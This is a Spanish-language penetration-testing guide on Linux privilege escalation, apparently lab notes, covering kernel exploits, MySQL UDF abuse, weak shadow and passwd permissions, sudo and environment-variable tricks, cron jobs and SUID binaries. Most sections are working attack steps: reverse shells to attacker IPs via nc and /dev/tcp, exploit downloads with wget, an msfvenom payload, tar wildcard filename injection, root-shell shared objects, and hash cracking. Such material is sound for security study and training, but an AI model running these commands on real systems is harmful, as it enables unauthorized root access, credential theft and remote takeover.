# Escalación de Privilegios en entornos Linux

## Escalación de Privilegios

Herramientas de enumeración:

* [Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration)
* [LinEnum](https://github.com/rebootuser/LinEnum)

### Exploits de kernel

El kernel es el núcleo de cualquier sistema operativo, debido que, es la interfaz fundamental entre el hardware y sus procesos.

Los exploits a nivel de kernel aprovechan las vulnerabilidades que estos tienen para poder ejecutar código como root.

Estos exploits son específicos a cada versión vulnerable, y cuando se usan, pueden causar inestabilidad del sistema, o causar inoperabilidad del sistema completo.

El escalar privilegios usando un exploit de kernel es tan fácil como: descargar el exploit, compilarlo y ejecutarlo (estas pueden funcionar de forma inmediata, o pueden requerir modificaciones).

Lo mejor para encontrar un exploit, es buscar en google, github o exploit-db.

* Herramienta [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2).

{% tabs %}
{% tab title="Revisión" %}

```bash
uname -a
cat /etc/lsb-release
searchsploit linux kernel <kernel_version> priv esc
./linux-exploit-suggester-2.pl -k <kernel_version>
```

{% endtab %}

{% tab title="Explotación kernel 4.4.0-116" %}

* Validar la versión del OS y el kernel:

```bash
uname -a
cat /etc/lsb-release
```

![Versión del OS y del kernel](/files/dFQsQCgJjRUMGGO3AZaB)

* Buscamos exploit asociados la versión del kernel:

```bash
searchsploit linux kernel 4.4.0-116 priv esc
```

* Usamos el siguiente [código](https://vulners.com/zdt/1337DAY-ID-30003) en la máquina víctima, y lo compilamos:

> Eliminar la línea que contiene `# 0day.today [2018-03-28] #` para que no de error al momento de compilar.

```bash
gcc kernel_expoit.c -o kernel_expoit && chmod +x kernel_expoit
```

* Lo ejecutamos para obtener acceso como root:

```bash
./kernel_expoit
whoami
```

![Explotación de kernel](/files/T5JPmdeYMu6kZERSI7WB)
{% endtab %}

{% tab title="Explotación Dirty Cow" %}

* Ejecutamos Linux Exploit Suggester 2 con la versión del kernel para buscar exploits:

```bash
./linux-exploit-suggester-2.pl -k 2.6.32
```

![LES2](/files/eb4GcE9zcAJ1qxztk1lq)

* Cargamos el [exploit](https://www.exploit-db.com/exploits/40616) en la máquina víctima, lo compilamos y lo ejecutamos:

```bash
wget 192.168.233.135/40839.c
gcc -pthread 40839.c -o dirty -lcrypt
./dirty
```

![Exploit](/files/HoV0SiULL1HiWs7sVgxb)

* Nos conectamos usando el usuario `firefart:password`:

```bash
su firefart
```

![Obtención de permisos de root](/files/isgOl7IamKakAbhgaf5E)

#### Rollback

```bash
mv /tmp/passwd.bak /etc/passwd
```

![Rollback](/files/CsKjuNSOIXeFG6QbzIVQ)
{% endtab %}
{% endtabs %}

### Servicios vulnerables

Los servicios son programas que corren en segundo plano, los cuales, pueden aceptar entradas o realizando tareas de forma periódicas.

Al igual que con los exploits de kernel, podemos usar Searchsploit, Google o Github para encontrar exploits para estos servicios.

{% tabs %}
{% tab title="Revisión" %}

```bash
# Procesos como root
ps aux | grep "^root"
# Versiones de programas
<program> --version
<program> -v
# Distribuciones basadas en Debian
dpkg -l | grep <program>
apt list --installed
# Distribuciones que usen RPM
rpm -qa | grep <program>
# Programas instalados con SNAP
snap list
# Programas instalados
ls /bin/
ls /usr/bin/
```

{% endtab %}

{% tab title="Explotación del Servicio Screen" %}

* Buscamos los servicios instalados:

```bash
ls /bin/
ls /usr/bin/
```

![Programas instalados](/files/2LNKhJgbtWd3EXaOKrHJ)

* Validamos la versión del servicio `scree`:

```bash
screen -v
```

![Versión del servicio screen](/files/VjxOMoarLT1QomE7sRaI)

* Buscamos exploits asociados al servicio `screen`:

```bash
searchsploit screen
```

![Exploit del servicio screen](/files/yS9mLVN1xEDxdDoE2Noi)

* Descargamos el exploit para poder subirlo a la máquina víctima:

```bash
searchsploit -m linux/local/41154.sh
```

![Descaga del exploit](/files/RRmJ0GAbAM8GbZ8Tsg5S)

* Ya en la máquina víctima, le damos permisos de ejecución y corremos el exploit:

```bash
chmod +x screen_exploit.sh ; ./screen_exploit.sh
```

![Exploit](/files/cfRHg1fLc9XPAXmrxct0)
{% endtab %}

{% tab title="Explotación del Servicio MySQL" %}

* Usando `Linux Smart Enumeration`, enumeramos la máquina víctima:

```bash
./lse.sh -l 1 -i | more
```

![Servicio MySQL corriendo como root](/files/pozZ1Q0euS9gyfIvYsNL)

![Servicio MySQL no necesita contraseña para ejecutarlo como root](/files/YmSvzfrnq2dnthvJ1Gdt)

* Validamos la versión de MySQL:

```bash
mysqld --version
```

![Versión de mysql](/files/4QTlZ2QWhUpnuo6JpABs)

* Buscando en Exploit-DB, se encuentra el siguiente [exploit](https://www.exploit-db.com/exploits/1518):

![Exploit servicio MySQL](/files/QKUtdAifaH4G6Wu6dl3L)

* Descargamos el exploit en la máquina víctima, lo compilamos y ejecutamos el ataque:

```bash
gcc -g -c raptor_udf2.c -fPIC
# Creamos un objeto compartido
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Ingresamo al servicio MySQL (damos un Enter cuando nos solicite contraseña)
mysql -u root -p
```

* Dentro de MySQL, ejecutamos los siguientes comandos:

```sql
use mysql;
create table foo(line blob);
# Cargamos el objeto creado anteriormente
insert into foo values(load_file('/tmp/raptor_udf2.so'));
# El objeto cargado es almacenado en el siguiente directorio, el cual, tendrá permisos de root
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
# Creamos una función mysql con el objeto compartido
create function do_system returns integer soname 'raptor_udf2.so';
# Finalmente, usaremos la función para ejecutar comandos, donde, crearemos un binario con permisos de SUID
select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
exit
```

![Explotación](/files/wOvEgBl9CUBOyRGHxzOH)

* Revisamos la carpeta `tmp` y ejecutamos el binario `rootbash`:

```bash
ls -l /tmp
./rootbash -p
```

![Ejecución del binario](/files/pQb49jxJDlO3CxatqUWR)
{% endtab %}

{% tab title="Port Forwarding" %}
En algunos casos, los procesos de root pueden estar vinculados a un puerto interno, con el cual se comunica.

Si por alguna razón el exploit no puede ejecutarse de forma local en la máquina, podemos hacer realizar un reenvío del puerto mendiante SSH a nuestra máquina atacante:

```bash
ssh -R <local-port>:127.0.0.1:<service-port> <username>@<local-machine>
```

Ahora el exploit puede ejecutarse en la máquina del atacante apuntando al puerto indicado en la conexión SSH.

Por ejemplo, imaginemos que la `PoC - Explotación del Servicio MySQL` no se puede realizar en la máquina víctima, lo primero que tenemos que ver es el puerto a la escucha del servicio MySQL:

```bash
netstat -nl
```

![Servicio interno](/files/zw6Q79GejigzZdB05wcJ)

Ahora ejecutamos el Port Forwarding en la máquina víctima para poder acceder al servicio:

```bash
ssh 4444:127.0.0.1:3306 kali@192.168.233.135
```

Ahora en la máquina atacante, usamos el siguiente comando para conectarnos al servicio remoto:

```bash
mysql -u root -h 127.0.0.1 -P 4444
```

Podemos comprobar que estamos en el servicio correcto usando el siguiente comando de mysql:

```sql
select @@hostname;
```

{% endtab %}
{% endtabs %}

### Archivos con permisos débiles

Nos podemos aprovechar de algunos archivos del sistema para escalar privilegios si el permiso en uno de ellos es muy débil.

Si estos archivos pueden ser leídos, podrían contener información sobre cuentas locales, como la de root. En caso de que podamos escribir en el, podríamos modificar la forma en que el OS funciona y así, poder tener acceso como root.

* **Archivo /etc/shadow:** uno de los archivos en que nos tenemos que fijar es en el archivo `/etc/shadow`, el cual, contiene los hashes de las contraseñas de los usuarios, y que por defecto puede ser leído solo por root. si podemos leer este archivo, obtendremos el hash del usuario root, el cual, podría ser crackeado. En caso de que podamos escribir este archivo, podríamos reemplazar el hash de la contraseña de root.
* **Archivo /etc/passwd:** en versiones anteriores, el archivo `/etc/passwd` contenía los hashes de los usuarios. Por este motivo, si en la segunda columna de un usuario se tiene un hash, este se toma en cuenta antes de que se valide en el archivo `/etc/shadow`. Entonces, si podemos escribir en este archivo, podríamos incorporar un hash en el usuario root. En caso de que solo podamos agregar información a este, podríamos crear un nuevo usuario, al cual, le asignaremos le UID de root (`0`).

{% tabs %}
{% tab title="Revisión" %}

```bash
ls -l /etc/shadow
ls -l /etc/passwd
./lse.sh -l 1 -i | more
```

{% endtab %}

{% tab title="Explotación Archivo shadow" %}

#### Archivo shadow con permisos de lectura

* Enumeración de archivos que podemos leer:

```bash
./lse.sh -l 1 -i | more
```

![Archivo shadow con permisos de lectura](/files/FjZcJplwkNBSav75eYBS)

* Lo crackeamos usando JTR:

```bash
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![Obtención de la contraseña de root](/files/rZLOBro0Nfi4OQl6x2Iq)

#### Archivo shadow con permisos de escritura

* Enumeración de archivos con permisos de lectura:

```bash
./lse.sh -l 1 -i | more
```

![Permisos de escritura en archivos del sistema](/files/a74wlRNLao8snCzKqNRa)

* Respaldamos el archivo:

```bash
cp /etc/shadow ~/.
```

![Respaldo del archivo shadow](/files/bLrYy4wegxvxHIKlipOW)

* En la máquina atacante, generamos un nuevo hash, donde, la contraseña será `newpassword`:

```bash
mkpasswd -m sha-512 newpassword
```

![Generación del nuevo hash](/files/tsTLk7fxKXhwvfo8QCqZ)

* Reemplazamos nuestro hash por el que tiene root:

![Modificación del archivo shadow](/files/QkYdSJyX91ut7Ff4QBVp)

* Nos conectamos usando el comando `su` en ingresando la nueva contraseña:

![Escalación de privilegios](/files/4XrnZvUmO2IVc5Qh9Ava)

> Si queremos hacer el rollback, debemos restaurar el archivo copiado en el segundo punto.
> {% endtab %}

{% tab title="Explotación Archivo passwd" %}

#### Modificación de parámetros del usuario root

* Enumeración de permisos:

```bash
./lse.sh -l 1 -i | more
```

![Permisos de escritura en archivo passwd](/files/Sha2qDew0UwDAGrDXfZw)

* Generamos la contraseña `password` usando `openssl`:

```bash
openssl passwd "password"
```

![Generación de hash](/files/qEjff1KTXRxRbZthCUXT)

* Modificamos la columna con la contraseña generada y escalamos privilegios:

![Escalación de privilegios](/files/tnWDwzdlaBj1KxfkkWdT)

#### Agregar un nuevo usuario root

* Podemos agregar un nuevo usuario con la estructura del usuario root y un hash de contraseña al archivo `/etc/passwd`:

```bash
echo 'newroot:Z5z56YtO4noR2:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
```

![Escalación de privilegios](/files/ovyyproPPgtUkPUb4Sno)
{% endtab %}
{% endtabs %}

### Abusando de los permisos de sudo

Sudo es un programa que le permite a los usuario ejecutar otros programas con privilegios de otros usuarios.

Los privilegios de sudo pueden ser asignados a un usuario permitiendole correr ciertos comandos como root, sin la necesidad de cambiar de usuario o ganar un privilegio excesivo.

Por lo tanto, cuando se usa el comando `sudo`, el sistema valida si el usuario tiene los permisos correctos para ejecutar dicho comando (se encuentra configurado en `/etc/sudoers`).

Para correr un programa usando `sudo`, se debe hacer de la siguiente forma:

```bash
sudo <program>
```

Si queremos correr un programa como otro usuario, debemos usar el siguiente comando:

```bash
sudo -u <username> <program>
```

Como atacantes, podemos usar el siguiente comando: `sudo -l`. Con este comando podemos identificar si el usuario posee privilegios de `sudo` en ciertos comandos, y ver si algunos de ellos no solicita el ingreso de la contraseña para su ejecución (aparecerá `NOPASSWD`).

Si podemos usar cualquier comando, y sabemos la contraseña del usuario, podemos usar `sudo su` para obtener una shell como root.

En caso de que no podamos usar `su`, existen otras alternativas para escalar privilegios:

```bash
sudo -s
sudo -i
sudo /bin/bash
sudo passwd
```

Incluso, podríamos usar una secuencia de escape de la shell.

#### Secuencia de escape de la shell

Incluso si estamos restringidos a usar ciertos programas con `sudo`, podríamos escapar del programa para obtener una shell.

Las secuencia de escape de la shell las podemos encontrar en [GTFOBins](https://gtfobins.github.io).

#### Abusando de las Intended Functionality

Si un programa no tiene una secuencia de escape, aún es posible escalar privilegios.

Podemos leer archivos como root, y con esto extraer información (como contraseñas, hashes, llaves, etc.).

Si podemos escribir archivos como root, podemos insertar o modificar información.

#### Variables de entorno

Los programas que se ejecutan con `sudo` pueden heredar las variables de entorno desde el entorno del usuario.

Si en el archivo `/etc/sudoers` encontramos la opción `env_reset`, sudo ejecutará el programa en un nuevo entorno mínimo.

La opción `env_keep` puede ser usada para mantener las variables de entorno del entorno de un usuario.

Estas opciones se pueden encontrar con el comando `sudo -l`.

**LD\_PRELOAD**

Es una variable de entorno que puede ser configurada para la ruta de un archivo shared object (`.so`).

Cuando se encuentra habilitado, el shared object puede ser cargado antes de cualquier otra cosa.

Podemos crear un shared object con una función `init()`, donde ejecutaremos nuestro código cuando este sea cargado.

Este no funcionará si el ID del usuario real es diferente del ID del usuario efectivo.

Sudo debe estar configurado para mantener la variable de entorno LD\_PRELOAD usando la opción env\_keep.

**LD\_LIBRARY\_PATH**

Esta variable de entorno contiene una lista de directorios, donde, las librerías compartidas son buscadas primero.

El comando `ldd` puede ser usado para imprimir las librerías compartidas usado por un programa:

```bash
ldd <program>
```

Si creamos una librería compartida con el mismo nombre de que usa uno de los programas, y establecer LD\_LIBRARY\_PATH en su directorio principal, el programa cargará nuestra librería compartida en su lugar.

#### Explotación

{% tabs %}
{% tab title="Revisión" %}

```bash
sudo -l
```

{% endtab %}

{% tab title="Permisos sudo en tcpdump" %}

* Generamos un script que usaremos para obtener una shell reversa con privilegios de root:

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
```

* Nos ponemos a la escucha en el puerto indicado:

```bash
nc -nlvp 443
```

* Ejecutamos el script con `tcpdump`:

```bash
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```

{% endtab %}

{% tab title="Permisos sudo en openssl" %}

* Enumeramos los permisos de `sudo`:

```bash
sudo -l
```

![Permisos de sudo](/files/H1Pc9A8pRyDTYCz5cxDs)

* Le damos permisos de `sudoers` al usuario local:

```bash
LFILE=/etc/sudoers
echo "htb-student ALL=(ALL:ALL) ALL" | sudo openssl enc -out "$LFILE"
```

![Explotación](/files/AE233fibTxzXRFBZ9IpH)
{% endtab %}

{% tab title="Permisos sudo en find" %}

* Enumeramos los permisos de `sudo`:

```bash
sudo -l
```

![Permisos de sudo](/files/cbl7mePHLxBp6ieFvNUi)

* Usamos la secuencia de escape indicado en [GTFOBins](https://gtfobins.github.io/gtfobins/find/#sudo), el cual, nos permite escalar privilegios:

```bash
sudo find . -exec /bin/sh \; -quit
```

![Secuencia de escape del comando find](/files/BSxFO8gjxJIm2faVozU9)

![Explotación](/files/gNiMwftGIhEMJdHARQXR)
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Permisos sudo en apache2" %}
Al buscar apache2 en GTFOBins, vemos que no existen sencuencias de escape:

![apache2 en GTFOBins](/files/UuTBFXEmjiel92C8ZkCH)

Si vemos la información del manual de apache2, podemos usar la opción `-f` para indicar un archivo de configuración:

![Manual de apache2](/files/H5dpfK87Htf8ktY5004A)

Podemos indicar el archivo `/etc/shadow`, donde, nos dará un error mostrando información del archivo, del cual, obtenemos los hashes que posteriormente podríamos crackear:

```bash
sudo apache2 -f /etc/shadow
```

![Leer archivo mediante opción -f en apache2](/files/JzM7dBvmY1aREPjYNnOH)

```bash
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![Cracking hash](/files/R2Cy77YCAqlzbdITdP5f)

Ahora con esto ingresamos como root al sistema:

```bash
su
```

![Escalación de privilegios](/files/p6z1xDN8HxMw0rg2Qcs6)
{% endtab %}

{% tab title="Explotando la variable de entorno LD\_PRELOAD" %}
Vemos que tenemos la opción `env_keep+=LD_PRELOAD` habilitada:

```bash
sudo -l
```

![Variable LD\_PRELOAD](/files/gsWNzCjzxoW3maa0ipE0)

Por lo tanto, creamos el siguiente archivo C:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
```

Compilamos y lo ejecutamos usando la variable de entorno con un comando que tengamos permitido usar con sudo:

```bash
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so find
```

![Escalación de privilegios](/files/1HWABKokQkVrzqTOuyP0)
{% endtab %}

{% tab title="Explotando la variable de entorno LD\_LIBRARY\_PATH" %}
Vemos que tenemos la opción `env_keep+=LD_LIBRARY_PATH` habilitada:

```bash
sudo -l
```

![Variable LD\_LIBRARY\_PATH](/files/alJUayCIWvuBOpLkBqwR)

Ejecutamos el comando `ldd` en el servicio `apache2`:

```bash
ldd /usr/sbin/apache2
```

![Vemos las librerías del binario](/files/u0oInBcq4vuy3hhkOnko)

Vemo que posee múltiples librerías compartidas.

Con esta información, creamos una librería llamada library\_path.c:

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
```

Compilamos con el nombre de una de las librías que `apache2` y lo ejecutamos usando la variable de entorno:

```bash
gcc -fPIC -shared -o /tmp/libcrypt.so.1 library_path.c
sudo LD_LIBRARY_PATH=. apache2
```

![Escalación de privilegios](/files/XWYmvqYMotStB3TLTuHP)
{% endtab %}
{% endtabs %}

### Abusando de los cron jobs

Los cron jobs son tareas programadas con la finalidad de ejecutar procesos periodicamente, como realizar respaldos, limpiar directorios, entre otros.

Los cron jobs se ejecutan con el mismo nivel de seguridad del usuario que los creó.

Por defecto, estos son ejecutados usando la shell `/bin/sh`, con variables de entorno limitados.

Con el comando `crontab` se crean los `cron table files`, los cuales, contendrán las tareas que necesitamos ejecutar.

Los archivos `cron` poseen 6 campos: minutos, horas, días, mes, semana y comando, por ejemplo: `0 */12 * * * /home/admin/backup.sh`.

Los contrabs de los usuarios son alojados en `/var/spool/cron/` o en `/var/spool/cron/crontabs/`, miestras que, los crontab del sistema se encuentran en `/etc/crontab`.

A veces, los archivos asociados a los cron jobs pueden tener fallas de configuración, como los permisos de estos. Por lo tanto, si podemos escribir el programa o el script que se encuentra en el cron job, podríamos reemplazarlo por nuestro código para escalar privilegios.

Como atacantes, es necesario buscar los archivos cron del usuario root, donde, se tengan permisos de escritura.

{% tabs %}
{% tab title="Revisión" %}

```bash
cat /etc/crontab
./lse.sh -l 1 -i | more
./pspy64s -pf -i 1000
```

{% endtab %}

{% tab title="Detección usando pspy" %}

* Descargamos `pspy` para detectar scripts que se ejecutan de forma periodica:

```bash
wget http://10.10.14.88:8000/pspy64s && chmod +x pspy64s
./pspy64s -pf -i 1000
```

![Descarga de pspy](/files/YZDRx49glN2DzqiBj9HF)

![Script backup.sh](/files/HVn8aieDszonfqFfEX2j)

* Buscamos por archivos que podamos escribir:

```bash
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

![Archivos con permisos de escritura](/files/whPB1W4mJMUBZO6MFS9t)

* Dejamos a la escucha el puerto 443:

```bash
nc -nlvp 443
```

* Agregamos lo siguiente al script `backup.sh`:

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' >> /dmz-backups/backup.sh
```

![Explotación](/files/4kQ9GEvpmvLsjfkC39vs)
{% endtab %}

{% tab title="Detección usando lse.sh" %}

* Usamos `lse.sh` para enumerar los `cron jobs`:

```bash
./lse.sh -l 1 -i | more
```

![Enumeración usando lse.sh](/files/3HJ15eWNCJAjApegt5EZ)

* Podemos revalidar usando enumeración manual:

```bash
cat /etc/crontab
```

![Enumeración manual](/files/NWDCbAqKhhz5Pfx9xK9Y)

* Detectamos que tenemos permisos de escritura en el script:

```bash
locate overwrite.sh
ls -l /usr/local/bin/overwrite.sh
```

![Script con permisos de escritura](/files/945EprzDPu4YiokY2bJf)

* Agregamos lo siguiente al script para obtener una shell con permisos de root:

```bash
echo 'bash -i >& /dev/tcp/192.168.233.135/443 0>&1' >> /usr/local/bin/overwrite.sh
```

![Modificación del script](/files/4XeY9KSvdNBQGQ2x7YM9)

* Nos ponemos a la escucha:

```bash
nc -nlvp 443
```

* Esperamos a que se genere la conexión:

![Explotación](/files/buMgwK4sCFbLk1Iu35Ez)
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Variable de entorno PATH" %}

* Usando `lse.sh` enumeramos si podemos escribir un ejecutable en el path del cron job y podemos encontrar un archivo ejecutable dentro del archivo contrab:

```bash
./lse.sh -l 1 -i | more
```

![PATH del cron job](/files/UmofEYXAXJDIZZM7yygr)

![Archivo contrab](/files/Nz6sRIWs8Se4UVg4ibiF)

* Como el script `overwrite.sh` no especifica su ruta absoluta, podemos crear un script con el mismo nombre en la ruta `/home/user`:

```bash
# Nuevo archivo overwrite.sh almacenado en /home/user
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
```

* Le damos permisos de ejecución al script nuevo:

```bash
chmod +x /home/user/overwrite.sh
```

* Ejecutamos el nuevo binario creado en `/tmp`:

```bash
/tmp/rootbash -p
```

![Escalación de privilegios](/files/hKb2VAvFnrMwl5kjY1fM)
{% endtab %}

{% tab title="Wildcards" %}

* Revisamos la configuración del archivo contrab, el cual, contiene un script que posee una wildcard en uno de los comandos que ejecuta:

```bash
cat /etc/crontab
```

![Archivo crontab](/files/kGYQVYXVAtajFIMUOflz)

* Buscamos como obtener una shell con el comando `tar` en GTFOBins:

![Obtener una shell usando el comando tar](/files/rjcRJB1gTolSPNQzjStt)

* Creamos un archivo `elf` con `msfvenom` para obtener una shell reversa:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.233.135 LPORT=443 -f elf -o shell.elf
```

* Subimos la shell, le damos permisos de ejecución y creamos los archivos con los nombres necesarios para ejecutar dicho binario:

```bash
chmod +x shell.elf
mv shell.elf /home/user/
cd /home/user/
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=shell.elf
```

![Secuencia de escape del comando tar](/files/DsNxORVvC858pV51B2Zr)

* Ponemos a la escucha el puerto indicado en msfvenom:

```bash
nc -nlvp 443
```

![Escalación de privilegios](/files/ufVJ5eKpvyRRSRK1hY2p)
{% endtab %}
{% endtabs %}

### Permisos especiales

#### SetUID Bit

El permiso `SetUID` (conocido también como `SUID` o Set User ID Upon Execution) puede permitir a un usuario a ejecutar un programa con permisos de otro usuario.

Para detectar este permiso, debe aparecer una `s`, y podemos usar el siguiente comando para encontrar binarios con dicho permiso:

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

#### SetGID

El permiso `SetGID` (conocido también como `SGID` o Set Group ID) es otro permiso especial, el cual, permite correr el binario como si fueramos parte del grupo que lo creo. Al igual que en SUID, se debe tener una `s` en los permisos, y se puede detectar con el siguiente comando:

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
```

> Para mayor información, visitar el siguiente [enlace](https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits).

#### Explotación

{% tabs %}
{% tab title="Revisión" %}

```bash
./lse.sh -l 1 -i | more
./LinEnum.sh
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

{% endtab %}

{% tab title="SUID en el binario sed" %}

* Buscamos binarios con permisos SUID:

```bash
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

![Binarios con permisos SUID](/files/M5pGeY2NdXsDsMkmNukB)

* En GTFOBins validamos como ejecutar SUID del binario sed para leer el archivo `shadow`, y con así, poder crackear el hash del usuario root:

![Bnario sed con permisos SUID](/files/E672otl6JoUj053R5fm2)

```bash
LFILE='/etc/shadow'
sed '' "$LFILE"
```

![Lectura archivo shadow](/files/HUQscYB1qSidYU5ji84a)

> Podríamos escribir en el archivo passwd, para agregar un nuevo usuario con permisos de root.
> {% endtab %}

{% tab title="SUID en el binario Exim" %}

* Enumeramos usando `lse.sh`:

```bash
./lse.sh -l 1 -i | more
```

![Binarios con permisos SUID](/files/wYcWI3OnmHSrBEjzCPqv)

* Buscamos exploits para la versión del binario exim:

```bash
searchsploit exim 4.84-3
```

![Exploits para binario Exim](/files/XDEMwQEkW0X4jMVp5WDJ)

* Subimos el script, le damos permisos de ejecución y lo ejecutamos:

```bash
wget 192.168.233.135/39535.sh
chmod +x 39535.sh
./39535.sh
```

> Si da error con interpretando `^M`, usar el siguiente comando: `sed -i -e "s/^M//" 39535.sh`

![Explotación](/files/cTlS7eE2RS9wwdTlgSqx)
{% endtab %}

{% tab title="Shared Object Injection" %}
Cuando un programa es ejecutado, este intentará cargar los `shared objects` necesarios.

Usando el programa `strace` podemos hacer un seguimiento de las llamadas del sistema y así, poder determinar cuales `shared objects` no son encontrados.

Si podemos escribir en el directorio donde el programa intenta abrir el `shared object`, podemos crear uno y obtener nuestra shell como root.

Si vemos los archivos con SUID que tenemos, se encuentra el binario `sudo-so`:

* Enumeramos usando `lse.sh`:

```bash
./lse.sh -l 1 -i | more
```

![Binarios con permisos SUID](/files/lhTaOCmnXvRhNtAouhBh)

* Ejecutamos el binario para ver su funcionamiento:

```bash
/usr/local/bin/suid-so
```

![Funcionamiento del binario](/files/mIFTchXrLoybrrsrZsCG)

* Usando `strace` validamos los `shared objects` que no son encontrados:

```bash
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
```

![Shared object no encontrado](/files/rx15EdOU8rPD7MJeVEaT)

* Creamos el directorio `.config`:

```bash
mkdir .config
cd .config
```

* Dentro del directorio `.config`, creamos el archivo `libcalc.c`:

```c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    system("/bin/bash -p");
}
```

![Archivo C con exploit](/files/nh8oZGTlJHD9JOlVeHFd)

* Compilamos para obtener un shared object:

```bash
gcc -shared -fPIC -o libcalc.so libcalc.c
```

![Shared object](/files/NfZJ9yxoqQgH9gq2Z2lg)

* Ejecutamos el binario con el SUID identificado en primera instancia:

```bash
/usr/local/bin/suid-so
```

![Escalación de privilegios](/files/1uR2ZjmJ5ks8I90PooSm)
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Variable de entorno PATH" %}
La variable de entorno PATH contiene la lista de directorios donde la shell debería encontrar los programas.

Si un programa intenta ejecutar otro programa, pero este no especifica el la ruta absoluta de este, buscará en los directorios del PATH hasta encontrarlo.

Por lo tanto, si tenemos control sobre la variable PATH, podemos decirle que busque nuestro programa en un directorio donde podamos escribir.

Si un programa intenta ejecutar otro, el nombre de este aparecerá como `string` en el ejecutable. Por este motivo, podemos usar el comando `strings`para buscar en el programa.

También, podemos usar `strace` para que programas se encuentra ejecutando.

Una tercera forma de obtener esta información, es es usando `ltrace`.

```bash
strings /path/file
strace -v -f -e execve <command> 2>&1 | grep exec
ltrace <command>
```

Si buscamos los SUID, podemos encontrar el binario `suid-env`:

* Buscamos archivos con permisos SUID:

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

![Binario con permisos SUID](/files/u3i9x9FgKd6E73HODRDM)

* Al ejecutarlo, vemos que utiliza `apache2`:

```bash
/usr/local/bin/suid-env
```

![Validación del funcionamiento del binario](/files/sXOE8m7TAp5YIR1oHA5n)

* Usando `strings`, vemos que inicia el servicio `apache2`, donde, no se especifica la ruta absoluta de este:

```bash
strings /usr/local/bin/suid-env
```

![Strings del binario](/files/o0TaXlxXV9NDjRk6rEcu)

* Usando `strace` y `ltrace` comprobamos que ejecuta dicho servicio:

```bash
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
ltrace /usr/local/bin/suid-env
```

![Strace](/files/qfE9BbigyowYvooNqlef)

![ltrace](/files/41nuv7Ow9vZuEXiaetPC)

* Archivo C llamado `service.c`:

```c
int main() {
    setuid(0);
    system("/bin/bash -p");
}
```

![Archivo C](/files/62lmVWfnZH7y8uEuIRJ7)

* Compilamos el binario:

```bash
gcc -o service service.c
```

![Servicio compilado](/files/m8eQUmoYHtI6S8bOl1sp)

* Modificamos el PATH y ejecutamos el binario con el SUID:

```bash
PATH=.:$PATH
/usr/local/bin/suid-env
```

![Escalación de privilegios](/files/9A7T3sJZVEB5bOSkBX9F)
{% endtab %}

{% tab title="Abusando de las funciones" %}
En algunas shell (como en `bash` inferior a `4.2-048`) es posible definir funciones con un nombre de rutas absolutas.

Estas funciones pueden ser exportadas para que subprocesos tengan acceso a ellas, y las funciones puedan tener prioridad sobre el ejecutable real que se llama.

Para este caso, se usará el binario `suid-env2`:

* Enumeramos usando el siguiente comando:

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

![Binario con permiso SUID](/files/1oeL7R7PHfVjHIRGvM8z)

* Validamos el funcionamiento y los strings del binario:

```bash
/usr/local/bin/suid-env2
strings /usr/local/bin/suid-env2
```

![Strings del binario](/files/3DlDWAqQz1o6S38NcRm3)

* Vemos que se ejecuta con el binario `sh`:

```bash
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
```

![Strace](/files/BRstUA3LEvRZxuYt99Me)

* Obtenemos la versión de `sh`:

```bash
sh --version
```

![Versión del servicio sh](/files/LTdj1Tv8uqsQiUxTncsp)

* Creamos una función asociada al binario, donde, se ejecutar `/bin/bash -p`, para luego poder usarlo:

```bash
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/usr/local/bin/suid-env
```

